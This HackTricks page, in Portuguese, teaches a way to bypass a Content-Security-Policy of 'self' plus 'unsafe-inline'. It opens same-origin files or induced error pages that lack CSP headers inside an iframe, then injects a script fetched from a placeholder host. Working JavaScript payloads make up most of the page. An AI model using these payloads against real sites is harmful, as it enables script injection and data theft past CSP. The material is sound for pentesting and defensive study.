CSP bypass: self + 'unsafe-inline' with Iframes

Supporte o HackTricks

Uma configuração como:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Proíbe o uso de quaisquer funções que executem código transmitido como uma string. Por exemplo: eval, setTimeout, setInterval serão todos bloqueados devido à configuração unsafe-eval

Qualquer conteúdo de fontes externas também é bloqueado, incluindo imagens, CSS, WebSockets e, especialmente, JS

Via Texto & Imagens

Observa-se que navegadores modernos convertem imagens e textos em HTML para melhorar sua exibição (por exemplo, definindo fundos, centralizando, etc.). Consequentemente, se um arquivo de imagem ou texto, como favicon.ico ou robots.txt, for aberto via um iframe, ele é renderizado como HTML. Notavelmente, essas páginas geralmente não possuem cabeçalhos CSP e podem não incluir X-Frame-Options, permitindo a execução de JavaScript arbitrário a partir delas:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errors

Da mesma forma, respostas de erro, como arquivos de texto ou imagens, geralmente vêm sem cabeçalhos CSP e podem omitir X-Frame-Options. Erros podem ser induzidos a carregar dentro de um iframe, permitindo as seguintes ações:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Após acionar qualquer um dos cenários mencionados, a execução de JavaScript dentro do iframe é alcançável da seguinte forma:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Referências

Suporte ao HackTricks

Last updated